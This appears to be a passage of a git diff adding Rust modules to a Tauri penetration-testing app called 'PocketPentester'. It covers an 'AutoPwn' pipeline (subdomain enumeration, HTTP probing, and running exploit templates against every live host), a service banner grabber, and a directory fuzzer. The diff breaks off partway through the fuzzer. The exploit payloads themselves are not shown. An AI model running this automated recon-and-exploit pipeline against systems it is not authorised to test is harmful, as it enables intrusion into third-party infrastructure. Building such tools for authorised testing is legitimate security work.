||||
pub url: String,
|
||||
pub status: u16,
|
||||
pub title: Option<String>,
|
||||
pub server: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct AutopwnReport {
|
||||
pub domain: String,
|
||||
pub subdomains: Vec<AutopwnSubHit>,
|
||||
pub alive: Vec<AutopwnProbeHit>,
|
||||
pub findings: Vec<Finding>,
|
||||
}
|
||||
|
||||
// --------------------------------------------------------------
|
||||
// stage 1: subdomain enum
|
||||
// --------------------------------------------------------------
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
struct CrtRow { name_value: String }
|
||||
|
||||
async fn passive_crtsh(domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://crt.sh/?q=%25.{}&output=json", domain);
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(20))
|
||||
.user_agent("PocketPentester-AutoPwn/0.1")
|
||||
.build()?;
|
||||
let rows: Vec<CrtRow> = client.get(&url).send().await?.json().await?;
|
||||
let mut set = HashSet::new();
|
||||
for r in rows {
|
||||
for line in r.name_value.split('\n') {
|
||||
let host = line.trim().trim_start_matches("*.").to_lowercase();
|
||||
if host.ends_with(domain) && !host.is_empty() { set.insert(host); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
fn rand_label() -> String {
|
||||
use rand::Rng;
|
||||
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz0123456789".chars().collect();
|
||||
let mut rng = rand::thread_rng();
|
||||
(0..16).map(|_| chars[rng.gen_range(0..chars.len())]).collect()
|
||||
}
|
||||
|
||||
/// Detect wildcard DNS by resolving 2 random non-existent subs.
|
||||
/// Returns the set of IPs that appear to be catch-all answers.
|
||||
async fn detect_wildcard(resolver: &TokioAsyncResolver, domain: &str) -> HashSet<String> {
|
||||
let mut ips: HashSet<String> = HashSet::new();
|
||||
for _ in 0..2 {
|
||||
let probe = format!("{}.{}", rand_label(), domain);
|
||||
if let Ok(lookup) = resolver.lookup_ip(probe.as_str()).await {
|
||||
for ip in lookup.iter() {
|
||||
ips.insert(ip.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
ips
|
||||
}
|
||||
|
||||
async fn enum_subdomains(
|
||||
app: &AppHandle,
|
||||
domain: &str,
|
||||
use_passive: bool,
|
||||
brute: &[String],
|
||||
concurrency: usize,
|
||||
) -> Vec<AutopwnSubHit> {
|
||||
let mut opts = ResolverOpts::default();
|
||||
opts.timeout = Duration::from_secs(3);
|
||||
opts.attempts = 1;
|
||||
let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts));
|
||||
|
||||
// wildcard detection BEFORE brute
|
||||
let wildcard = detect_wildcard(&resolver, domain).await;
|
||||
if !wildcard.is_empty() {
|
||||
let _ = app.emit(
|
||||
"autopwn:status",
|
||||
format!("wildcard DNS detected ({} IPs) — results pointing only to these will be filtered",
|
||||
wildcard.iter().cloned().collect::<Vec<_>>().join(","))
|
||||
);
|
||||
}
|
||||
|
||||
let mut candidates: HashSet<(String, String)> = HashSet::new();
|
||||
candidates.insert((domain.to_string(), "root".into()));
|
||||
|
||||
if use_passive {
|
||||
let _ = app.emit("autopwn:stage", "recon:passive");
|
||||
match passive_crtsh(domain).await {
|
||||
Ok(hosts) => {
|
||||
let _ = app.emit("autopwn:status", format!("crt.sh: +{} subs", hosts.len()));
|
||||
for h in hosts { candidates.insert((h, "crtsh".into())); }
|
||||
}
|
||||
Err(e) => { let _ = app.emit("autopwn:status", format!("crt.sh error: {e}")); }
|
||||
}
|
||||
}
|
||||
|
||||
for w in brute {
|
||||
candidates.insert((format!("{}.{}", w.trim(), domain), "brute".into()));
|
||||
}
|
||||
|
||||
let total = candidates.len();
|
||||
let _ = app.emit("autopwn:stage", "recon:resolve");
|
||||
let _ = app.emit("autopwn:status", format!("resolving {total} candidates"));
|
||||
|
||||
let sem = Arc::new(Semaphore::new(concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
|
||||
let wildcard_arc = Arc::new(wildcard);
|
||||
|
||||
let hits: Vec<AutopwnSubHit> = stream::iter(candidates.into_iter())
|
||||
.map(|(host, source)| {
|
||||
let resolver = resolver.clone();
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let app = app.clone();
|
||||
let wildcard = wildcard_arc.clone();
|
||||
async move {
|
||||
let _p = sem.acquire().await.unwrap();
|
||||
let result = resolver.lookup_ip(host.as_str()).await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("autopwn:progress", serde_json::json!({
|
||||
"stage": "recon", "done": n, "total": total
|
||||
}));
|
||||
match result {
|
||||
Ok(lookup) => {
|
||||
let ips: Vec<String> = lookup.iter().map(|ip| ip.to_string()).collect();
|
||||
if ips.is_empty() { return None; }
|
||||
|
||||
// wildcard filter: skip if ALL ips match the wildcard set
|
||||
// (keep root domain regardless)
|
||||
if !wildcard.is_empty() && source != "root"
|
||||
&& ips.iter().all(|ip| wildcard.contains(ip))
|
||||
{
|
||||
return None;
|
||||
}
|
||||
|
||||
let hit = AutopwnSubHit { host, source, ips };
|
||||
let _ = app.emit("autopwn:sub", hit.clone());
|
||||
Some(hit)
|
||||
}
|
||||
Err(_) => None,
|
||||
}
|
||||
}
|
||||
})
|
||||
.buffer_unordered(concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
hits
|
||||
}
|
||||
|
||||
/// Default HTTP status codes treated as "alive & worth exploiting".
|
||||
fn default_accept_statuses() -> Vec<u16> {
|
||||
vec![
|
||||
200, 201, 202, 203, 204, 206,
|
||||
301, 302, 303, 307, 308,
|
||||
401, 403, 405, 418, // 418 = sometimes WAF, but still shows alive service
|
||||
]
|
||||
}
|
||||
|
||||
// --------------------------------------------------------------
|
||||
// stage 2: HTTP probe
|
||||
// --------------------------------------------------------------
|
||||
|
||||
async fn probe_hosts(
|
||||
app: &AppHandle,
|
||||
hosts: &[AutopwnSubHit],
|
||||
ports: &[u16],
|
||||
concurrency: usize,
|
||||
timeout_ms: u64,
|
||||
accept_status: &[u16],
|
||||
) -> Vec<AutopwnProbeHit> {
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(timeout_ms))
|
||||
.redirect(reqwest::redirect::Policy::limited(3))
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-AutoPwn)")
|
||||
.build()
|
||||
.unwrap_or_else(|_| reqwest::Client::new());
|
||||
|
||||
let mut urls: Vec<String> = Vec::new();
|
||||
for h in hosts {
|
||||
for p in ports {
|
||||
let scheme = if matches!(p, 443 | 8443) { "https" } else { "http" };
|
||||
if *p == 80 || *p == 443 {
|
||||
urls.push(format!("{scheme}://{}", h.host));
|
||||
} else {
|
||||
urls.push(format!("{scheme}://{}:{}", h.host, p));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let total = urls.len();
|
||||
let _ = app.emit("autopwn:stage", "probe");
|
||||
let _ = app.emit("autopwn:status", format!("probing {total} urls"));
|
||||
|
||||
let sem = Arc::new(Semaphore::new(concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
let client = Arc::new(client);
|
||||
|
||||
let title_re = regex::Regex::new(r"(?is)<title[^>]*>(.*?)</title>").unwrap();
|
||||
// regex that recognizes "nothing useful" responses — default pages, error placeholders, etc.
|
||||
let junk_re = regex::Regex::new(
|
||||
r"(?i)(?:welcome to nginx|it works|apache2 ubuntu default page|test page for the (?:apache|nginx)|site not found|default backend - 404|403 forbidden</center>|bad request</h1>|invalid hostname)"
|
||||
).unwrap();
|
||||
let accept: HashSet<u16> = accept_status.iter().copied().collect();
|
||||
|
||||
let alive: Vec<AutopwnProbeHit> = stream::iter(urls.into_iter())
|
||||
.map(|url| {
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let client = client.clone();
|
||||
let app = app.clone();
|
||||
let title_re = title_re.clone();
|
||||
let junk_re = junk_re.clone();
|
||||
let accept = accept.clone();
|
||||
async move {
|
||||
let _p = sem.acquire().await.unwrap();
|
||||
let result = client.get(&url).send().await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("autopwn:progress", serde_json::json!({
|
||||
"stage": "probe", "done": n, "total": total
|
||||
}));
|
||||
let resp = match result { Ok(r) => r, Err(_) => return None };
|
||||
let status = resp.status().as_u16();
|
||||
|
||||
// ---- status whitelist ----
|
||||
if !accept.contains(&status) {
|
||||
let _ = app.emit("autopwn:status",
|
||||
format!("skip {} ({}): status not in accept-list", url, status));
|
||||
return None;
|
||||
}
|
||||
|
||||
let server = resp.headers().get("server")
|
||||
.and_then(|v| v.to_str().ok()).map(String::from);
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
|
||||
// ---- junk-body filter ----
|
||||
if junk_re.is_match(&body) {
|
||||
let _ = app.emit("autopwn:status",
|
||||
format!("skip {} ({}): default/placeholder page", url, status));
|
||||
return None;
|
||||
}
|
||||
|
||||
let title = title_re.captures(&body)
|
||||
.and_then(|c| c.get(1))
|
||||
.map(|m| m.as_str().trim().to_string())
|
||||
.filter(|s| !s.is_empty());
|
||||
let hit = AutopwnProbeHit { url, status, title, server };
|
||||
let _ = app.emit("autopwn:alive", hit.clone());
|
||||
Some(hit)
|
||||
}
|
||||
})
|
||||
.buffer_unordered(concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
alive
|
||||
}
|
||||
|
||||
// --------------------------------------------------------------
|
||||
// stage 3: exploit
|
||||
// --------------------------------------------------------------
|
||||
|
||||
async fn exploit_alive(
|
||||
app: &AppHandle,
|
||||
alive: &[AutopwnProbeHit],
|
||||
templates_yaml: &[String],
|
||||
concurrency: usize,
|
||||
timeout_ms: u64,
|
||||
) -> Vec<Finding> {
|
||||
let templates = parse_templates(templates_yaml, app, "autopwn:status");
|
||||
if templates.is_empty() { return Vec::new(); }
|
||||
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(timeout_ms))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-AutoPwn)")
|
||||
.build()
|
||||
.unwrap_or_else(|_| reqwest::Client::new());
|
||||
|
||||
let tasks: Vec<(String, super::xploiter::Template)> = alive.iter()
|
||||
.flat_map(|a| templates.iter().map(move |t| (a.url.clone(), t.clone())))
|
||||
.collect();
|
||||
let total = tasks.len();
|
||||
let _ = app.emit("autopwn:stage", "exploit");
|
||||
let _ = app.emit("autopwn:status", format!("exploiting: {total} target×template combos"));
|
||||
|
||||
let sem = Arc::new(Semaphore::new(concurrency.max(1)));
|
||||
let client = Arc::new(client);
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
|
||||
stream::iter(tasks.into_iter())
|
||||
.map(|(target, tpl)| {
|
||||
let sem = sem.clone();
|
||||
let client = client.clone();
|
||||
let done = done.clone();
|
||||
let app = app.clone();
|
||||
async move {
|
||||
let _p = sem.acquire().await.unwrap();
|
||||
let v = run_template_against_target(&client, &target, &tpl, &app, "autopwn:xpl").await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("autopwn:progress", serde_json::json!({
|
||||
"stage": "exploit", "done": n, "total": total
|
||||
}));
|
||||
v
|
||||
}
|
||||
})
|
||||
.buffer_unordered(concurrency.max(1))
|
||||
.flat_map(|v| stream::iter(v.into_iter()))
|
||||
.collect()
|
||||
.await
|
||||
}
|
||||
|
||||
// --------------------------------------------------------------
|
||||
// command
|
||||
// --------------------------------------------------------------
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn autopwn_run(app: AppHandle, req: AutopwnRequest) -> Result<AutopwnReport, String> {
|
||||
let ports = req.probe_ports.clone().unwrap_or_else(|| vec![80, 443, 8080, 8443]);
|
||||
let accept_status = req.accept_status.clone().unwrap_or_else(default_accept_statuses);
|
||||
|
||||
// stage 1 ---------------------------------------------------
|
||||
let subs = enum_subdomains(&app, &req.domain, req.use_passive, &req.brute_wordlist, req.concurrency).await;
|
||||
let _ = app.emit("autopwn:stage-done", serde_json::json!({ "stage": "recon", "count": subs.len() }));
|
||||
|
||||
if subs.is_empty() {
|
||||
return Err("no live subdomains resolved".into());
|
||||
}
|
||||
|
||||
// stage 2 ---------------------------------------------------
|
||||
let alive = probe_hosts(&app, &subs, &ports, req.concurrency, req.timeout_ms, &accept_status).await;
|
||||
let _ = app.emit("autopwn:stage-done", serde_json::json!({ "stage": "probe", "count": alive.len() }));
|
||||
|
||||
if alive.is_empty() {
|
||||
let _ = app.emit("autopwn:done", 0);
|
||||
return Ok(AutopwnReport {
|
||||
domain: req.domain,
|
||||
subdomains: subs, alive: vec![], findings: vec![],
|
||||
});
|
||||
}
|
||||
|
||||
// stage 3 ---------------------------------------------------
|
||||
let findings = if req.templates_yaml.is_empty() {
|
||||
let _ = app.emit("autopwn:status", "no templates selected — skipping exploit stage");
|
||||
Vec::new()
|
||||
} else {
|
||||
exploit_alive(&app, &alive, &req.templates_yaml, req.concurrency, req.timeout_ms).await
|
||||
};
|
||||
|
||||
let _ = app.emit("autopwn:stage-done", serde_json::json!({
|
||||
"stage": "exploit", "count": findings.len()
|
||||
}));
|
||||
let _ = app.emit("autopwn:done", findings.len());
|
||||
|
||||
Ok(AutopwnReport {
|
||||
domain: req.domain,
|
||||
subdomains: subs,
|
||||
alive,
|
||||
findings,
|
||||
})
|
||||
}
|
||||
194
src-tauri/src/modules/banner.rs
Normal file
@@ -0,0 +1,194 @@
|
||||
// ===================================================================
|
||||
// Banner Grabber — TCP connect + read service greeting, fingerprint
|
||||
// common services (SSH / FTP / SMTP / HTTP / Redis / MySQL / IRC).
|
||||
// ===================================================================
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::timeout;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct BannerRequest {
|
||||
pub host: String,
|
||||
pub ports: Vec<u16>,
|
||||
#[serde(default = "default_conc")]
|
||||
pub concurrency: usize,
|
||||
#[serde(default = "default_timeout")]
|
||||
pub timeout_ms: u64,
|
||||
}
|
||||
|
||||
fn default_conc() -> usize { 50 }
|
||||
fn default_timeout() -> u64 { 4000 }
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct BannerHit {
|
||||
pub port: u16,
|
||||
pub banner: String,
|
||||
pub service: String,
|
||||
pub version: Option<String>,
|
||||
pub bytes: usize,
|
||||
}
|
||||
|
||||
fn fingerprint(port: u16, banner: &str) -> (String, Option<String>) {
|
||||
let lo = banner.to_lowercase();
|
||||
let first_line = banner.lines().next().unwrap_or("").to_string();
|
||||
|
||||
// SSH
|
||||
if banner.starts_with("SSH-") {
|
||||
let ver = first_line.trim().to_string();
|
||||
return ("SSH".into(), Some(ver));
|
||||
}
|
||||
|
||||
// HTTP (we sent a HEAD /)
|
||||
if banner.starts_with("HTTP/") {
|
||||
let server = banner.lines()
|
||||
.find(|l| l.to_lowercase().starts_with("server:"))
|
||||
.map(|l| l.trim_start_matches("Server:").trim_start_matches("server:").trim().to_string());
|
||||
return ("HTTP".into(), server);
|
||||
}
|
||||
|
||||
// FTP
|
||||
if banner.starts_with("220 ") && (lo.contains("ftp") || port == 21) {
|
||||
let ver = first_line.trim_start_matches("220 ").trim().to_string();
|
||||
return ("FTP".into(), Some(ver));
|
||||
}
|
||||
|
||||
// SMTP
|
||||
if banner.starts_with("220 ") && (lo.contains("smtp") || lo.contains("mail") || port == 25 || port == 587) {
|
||||
return ("SMTP".into(), Some(first_line));
|
||||
}
|
||||
|
||||
// POP3 / IMAP
|
||||
if banner.starts_with("+OK") { return ("POP3".into(), Some(first_line)); }
|
||||
if banner.starts_with("* OK") { return ("IMAP".into(), Some(first_line)); }
|
||||
|
||||
// Telnet
|
||||
if banner.as_bytes().first() == Some(&0xFF) { return ("Telnet".into(), None); }
|
||||
|
||||
// Redis
|
||||
if banner.starts_with("+PONG") || banner.starts_with("-NOAUTH") { return ("Redis".into(), None); }
|
||||
if banner.starts_with("-ERR") && port == 6379 { return ("Redis".into(), Some(first_line)); }
|
||||
|
||||
// MySQL (handshake starts with packet length + protocol 0x0a)
|
||||
if banner.as_bytes().len() >= 5 && banner.as_bytes()[4] == 0x0a && port == 3306 {
|
||||
let ver_start = 5;
|
||||
let ver_end = banner.as_bytes().iter().skip(ver_start).position(|&b| b == 0)
|
||||
.map(|p| ver_start + p).unwrap_or(banner.len());
|
||||
if ver_end > ver_start {
|
||||
return ("MySQL".into(), Some(String::from_utf8_lossy(&banner.as_bytes()[ver_start..ver_end]).to_string()));
|
||||
}
|
||||
return ("MySQL".into(), None);
|
||||
}
|
||||
|
||||
// PostgreSQL — responds with error on junk; check for "FATAL" or specific msg
|
||||
if port == 5432 && (lo.contains("fatal") || lo.contains("postgresql")) {
|
||||
return ("PostgreSQL".into(), None);
|
||||
}
|
||||
|
||||
// RDP — first byte 0x03 (TPKT)
|
||||
if banner.as_bytes().first() == Some(&0x03) && port == 3389 {
|
||||
return ("RDP".into(), None);
|
||||
}
|
||||
|
||||
// VNC
|
||||
if banner.starts_with("RFB ") { return ("VNC".into(), Some(first_line.trim().into())); }
|
||||
|
||||
// IRC
|
||||
if banner.starts_with(":") && lo.contains("irc") { return ("IRC".into(), Some(first_line)); }
|
||||
|
||||
// MongoDB — ismaster reply; harder
|
||||
if port == 27017 { return ("MongoDB".into(), None); }
|
||||
|
||||
// Fallback by port
|
||||
let by_port = match port {
|
||||
53 => "DNS", 22 => "SSH?", 23 => "Telnet?", 25 => "SMTP?",
|
||||
80 | 8080 | 8000 | 8088 => "HTTP?", 110 => "POP3?", 143 => "IMAP?",
|
||||
443 | 8443 => "HTTPS?", 445 => "SMB", 465 => "SMTPS",
|
||||
587 => "SMTP-SUB", 993 => "IMAPS", 995 => "POP3S",
|
||||
1433 => "MSSQL", 1521 => "Oracle", 2049 => "NFS",
|
||||
3306 => "MySQL", 3389 => "RDP", 5432 => "PostgreSQL",
|
||||
5900 => "VNC", 6379 => "Redis", 6667 => "IRC",
|
||||
9200 => "Elasticsearch",
|
||||
11211 => "Memcached", 27017 => "MongoDB",
|
||||
_ => "unknown",
|
||||
};
|
||||
(by_port.to_string(), None)
|
||||
}
|
||||
|
||||
async fn grab(host: &str, port: u16, timeout_ms: u64) -> Option<BannerHit> {
|
||||
let addr = format!("{host}:{port}");
|
||||
let stream = timeout(Duration::from_millis(timeout_ms), TcpStream::connect(&addr)).await.ok()?.ok()?;
|
||||
let _ = stream.set_nodelay(true);
|
||||
let mut stream = stream;
|
||||
|
||||
// For HTTP-ish ports, send a HEAD request to elicit a Server header
|
||||
let triggers: &[&[u8]] = match port {
|
||||
80 | 8080 | 8000 | 8008 | 8088 | 8888 | 9000 | 9090 | 10000 =>
|
||||
&[b"HEAD / HTTP/1.0\r\n\r\n"],
|
||||
21 | 22 | 25 | 110 | 143 | 220 | 5432 | 6379 => &[],
|
||||
_ => &[],
|
||||
};
|
||||
for t in triggers {
|
||||
let _ = timeout(Duration::from_millis(500), stream.write_all(t)).await;
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2048];
|
||||
let read = timeout(Duration::from_millis(timeout_ms), stream.read(&mut buf)).await.ok()?.ok()?;
|
||||
if read == 0 { return None; }
|
||||
|
||||
let banner_raw = String::from_utf8_lossy(&buf[..read]).to_string();
|
||||
let banner = banner_raw.trim_end_matches(['\r', '\n', '\0']).to_string();
|
||||
let (service, version) = fingerprint(port, &banner);
|
||||
|
||||
// If banner is empty but we got bytes (binary), keep as-is
|
||||
let display = if banner.is_empty() && read > 0 {
|
||||
format!("[binary {} bytes]", read)
|
||||
} else {
|
||||
// strip non-printable for display
|
||||
banner.chars().map(|c| if c.is_ascii_graphic() || c == ' ' || c == '\n' { c } else { '.' }).collect::<String>()
|
||||
};
|
||||
|
||||
Some(BannerHit { port, banner: display, service, version, bytes: read })
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn banner_grab(app: AppHandle, req: BannerRequest) -> Result<Vec<BannerHit>, String> {
|
||||
let total = req.ports.len();
|
||||
let _ = app.emit("banner:status", format!("grabbing banners on {} port(s)", total));
|
||||
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
let host = Arc::new(req.host.clone());
|
||||
|
||||
let hits: Vec<BannerHit> = stream::iter(req.ports.into_iter())
|
||||
.map(|port| {
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let app = app.clone();
|
||||
let host = host.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let res = grab(&host, port, req.timeout_ms).await;
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("banner:progress", serde_json::json!({"done": n, "total": total}));
|
||||
if let Some(ref h) = res {
|
||||
let _ = app.emit("banner:hit", h.clone());
|
||||
}
|
||||
res
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
let _ = app.emit("banner:done", hits.len());
|
||||
Ok(hits)
|
||||
}
|
||||
283
src-tauri/src/modules/dirfuzz.rs
Normal file
@@ -0,0 +1,283 @@
|
||||
// ===================================================================
|
||||
// Directory Fuzzer — feroxbuster-style content discovery.
|
||||
// Streams hits via events. Supports extensions, recursion, filters.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct DirFuzzRequest {
|
||||
pub base_url: String,
|
||||
pub wordlist: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub extensions: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub accept_status: Option<Vec<u16>>,
|
||||
#[serde(default)]
|
||||
pub size_min: Option<u64>,
|
||||
#[serde(default)]
|
||||
pub size_max: Option<u64>,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
#[serde(default)]
|
||||
pub follow_redirects: bool,
|
||||
#[serde(default)]
|
||||
pub recursive: bool,
|
||||
#[serde(default = "default_depth")]
|
||||
pub recursion_depth: u8,
|
||||
#[serde(default)]
|
||||
pub headers: HashMap<String, String>,
|
||||
#[serde(default)]
|
||||
pub user_agent: Option<String>,
|
||||
}
|
||||
|
||||
fn default_depth() -> u8 { 2 }
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct DirHit {
|
||||
pub url: String,
|
||||
pub status: u16,
|
||||
pub size: u64,
|
||||
pub words: usize,
|
||||
pub lines: usize,
|
||||
pub redirect: Option<String>,
|
||||
pub title: Option<String>,
|
||||
pub content_type: Option<String>,
|
||||
pub time_ms: u128,
|
||||
}
|
||||
|
||||
fn default_statuses() -> Vec<u16> {
|
||||
vec![200, 201, 204, 301, 302, 307, 308, 401, 403, 405]
|
||||
}
|
||||
|
||||
fn build_client(req: &DirFuzzRequest) -> reqwest::Client {
|
||||
let ua = req.user_agent.clone()
|
||||
.unwrap_or_else(|| "Mozilla/5.0 (PocketPentester-DirFuzz)".into());
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(if req.follow_redirects {
|
||||
reqwest::redirect::Policy::limited(5)
|
||||
} else {
|
||||
reqwest::redirect::Policy::none()
|
||||
})
|
||||
.user_agent(ua)
|
||||
.build()
|
||||
.unwrap_or_else(|_| reqwest::Client::new())
|
||||
}
|
||||
|
||||
fn expand_paths(word: &str, extensions: &[String]) -> Vec<String> {
|
||||
let w = word.trim().trim_start_matches('/');
|
||||
if w.is_empty() { return vec![]; }
|
||||
let mut out = vec![w.to_string()];
|
||||
for ext in extensions {
|
||||
let e = ext.trim();
|
||||
if e.is_empty() { continue; }
|
||||
let normalized = if e.starts_with('.') { e.to_string() } else { format!(".{e}") };
|
||||
out.push(format!("{w}{normalized}"));
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn parse_title(body: &str) -> Option<String> {
|
||||
let lower = body.to_lowercase();
|
||||
let start = lower.find("<title")?;
|
||||
let rest = &body[start..];
|
||||
let body_start = rest.find('>')? + 1;
|
||||
let end = lower[start..].find("</title>")?;
|
||||
let title = &rest[body_start..end];
|
||||
let t = title.trim();
|
||||
if t.is_empty() { None } else { Some(t.chars().take(100).collect()) }
|
||||
}
|
||||
|
||||
async fn probe(
|
||||
client: &reqwest::Client,
|
||||
url: &str,
|
||||
headers: &HashMap<String, String>,
|
||||
) -> Option<DirHit> {
|
||||
let start = std::time::Instant::now();
|
||||
let mut builder = client.get(url);
|
||||
for (k, v) in headers {
|
||||
if k.trim().is_empty() { continue; }
|
||||
builder = builder.header(k.trim(), v);
|
||||
}
|
||||
let resp = builder.send().await.ok()?;
|
||||
let status = resp.status().as_u16();
|
||||
let content_type = resp.headers().get("content-type")
|
||||
.and_then(|v| v.to_str().ok()).map(String::from);
|
||||
let redirect = resp.headers().get("location")
|
||||
.and_then(|v| v.to_str().ok()).map(String::from);
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let time_ms = start.elapsed().as_millis();
|
||||
|
||||
Some(DirHit {
|
||||
url: url.to_string(),
|
||||
status,
|
||||
size: body.len() as u64,
|
||||
words: body.split_whitespace().count(),
|
||||
lines: body.lines().count(),
|
||||
redirect,
|
||||
title: parse_title(&body),
|
||||
content_type,
|
||||
time_ms,
|
||||
})
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn dirfuzz_run(app: AppHandle, req: DirFuzzRequest) -> Result<Vec<DirHit>, String> {
|
||||
let base = req.base_url.trim_end_matches('/').to_string();
|
||||
let client = Arc::new(build_client(&req));
|
||||
let accept: Vec<u16> = req.accept_status.clone().unwrap_or_else(default_statuses);
|
||||
let accept_set: std::collections::HashSet<u16> = accept.iter().copied().collect();
|
||||
|
||||
// ---- baseline calibration: fetch a random non-existent path to detect wildcard 200s ----
|
||||
let wildcard_marker = format!("__xploit_wildcard_{}_{}", rand::random::<u32>(), rand::random::<u32>());
|
||||
let wildcard_url = format!("{}/{}", base, wildcard_marker);
|
||||
let wildcard_size: Option<u64> = probe(&client, &wildcard_url, &req.headers).await
|
||||
.filter(|h| accept_set.contains(&h.status))
|
||||
.map(|h| h.size);
|
||||
if let Some(sz) = wildcard_size {
|
||||
let _ = app.emit("dirfuzz:status",
|
||||
format!("wildcard calibration: {} returned status (size={}) — same-size responses will be filtered", wildcard_url, sz));
|
||||
}
|
||||
|
||||
// ---- build initial path list ----
|
||||
let mut initial_paths: Vec<String> = Vec::new();
|
||||
for w in &req.wordlist {
|
||||
for p in expand_paths(w, &req.extensions) {
|
||||
initial_paths.push(p);
|
||||
}
|
||||
}
|
||||
|
||||
let queue: Arc<Mutex<Vec<(String, u8)>>> = Arc::new(Mutex::new(vec![(base.clone(), 0)]));
|
||||
let all_hits: Arc<Mutex<Vec<DirHit>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
let total_done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
|
||||
loop {
|
||||
let (current_base, depth) = {
|
||||
let mut q = queue.lock().await;
|
||||
if q.is_empty() { break; }
|
||||
q.remove(0)
|
||||
};
|
||||
|
||||
let urls: Vec<String> = initial_paths.iter()
|
||||
.map(|p| format!("{}/{}", current_base.trim_end_matches('/'), p))
|
||||
.collect();
|
||||
let total = urls.len();
|
||||
|
||||
let _ = app.emit("dirfuzz:status",
|
||||
format!("fuzzing {} (depth {}): {} paths", current_base, depth, total));
|
||||
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let local_hits: Arc<Mutex<Vec<DirHit>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
|
||||
stream::iter(urls.into_iter())
|
||||
.map(|url| {
|
||||
let client = client.clone();
|
||||
let sem = sem.clone();
|
||||
let headers = req.headers.clone();
|
||||
let accept_set = accept_set.clone();
|
||||
let size_min = req.size_min;
|
||||
let size_max = req.size_max;
|
||||
let wildcard_size = wildcard_size;
|
||||
let total_done = total_done.clone();
|
||||
let local_hits = local_hits.clone();
|
||||
let all_hits_c = all_hits.clone();
|
||||
let app = app.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
if let Some(hit) = probe(&client, &url, &headers).await {
|
||||
let n = total_done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("dirfuzz:progress",
|
||||
serde_json::json!({"done": n, "total_seen": total_done.load(std::sync::atomic::Ordering::Relaxed)}));
|
||||
|
||||
if !accept_set.contains(&hit.status) { return; }
|
||||
if let Some(min) = size_min { if hit.size < min { return; } }
|
||||
